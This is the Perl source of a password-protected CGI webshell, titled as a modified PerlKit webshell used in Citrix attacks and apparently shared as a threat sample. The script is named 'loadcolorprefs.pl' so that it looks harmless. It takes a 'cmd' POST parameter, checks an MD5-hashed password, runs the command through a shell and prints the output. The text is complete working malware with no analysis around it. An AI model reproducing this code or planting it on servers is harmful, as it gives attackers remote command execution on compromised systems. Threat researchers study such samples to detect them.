Modified PerlKit webshell used in Citrix attacks

loadcolorprefs.pl

use strict;
use Digest::MD5;

my($cmd, %FORM);
$|=1;

print "Content-Type: text/html";

sub parse_parameters ($){
   my %ret;
   my $input = shift;
   foreach my $pair(split(/&/, $input)) {
       my($var, $value) = split("=", $pair, 2);
       if($var) {
           $value =~ s/\\\ / /g;
           $value =~ s/%(..)/pack("c",hex($1))/eg;
           $ret{$var} = $value;
       }
   }
   return %ret;
}

$ENV{"REQUEST_METHOD"} =~ tr/a-z/A-Z/;

if($ENV{"REQUEST_METHOD"} eq "POST"){
   read(STDIN, $cmd, $ENV{"CONTENT_LENGTH"});
   %FORM = parse_parameters($cmd);
   if(defined $FORM{"cmd"}){
       $cmd = $FORM{"cmd"};
       if(defined $FORM{"pass"}){
           my $md5=Digest::MD5->new;
           $md5->add($FORM{"pass"});
           if($md5->hexdigest eq "<removed>"){
               print "-"x80;
               open(CMD,"($cmd) 2>&1 |") || print "Could not execute command";
               while(<CMD>){print;}
               close(CMD);
               print"-"x80;
           }
       }
   }
}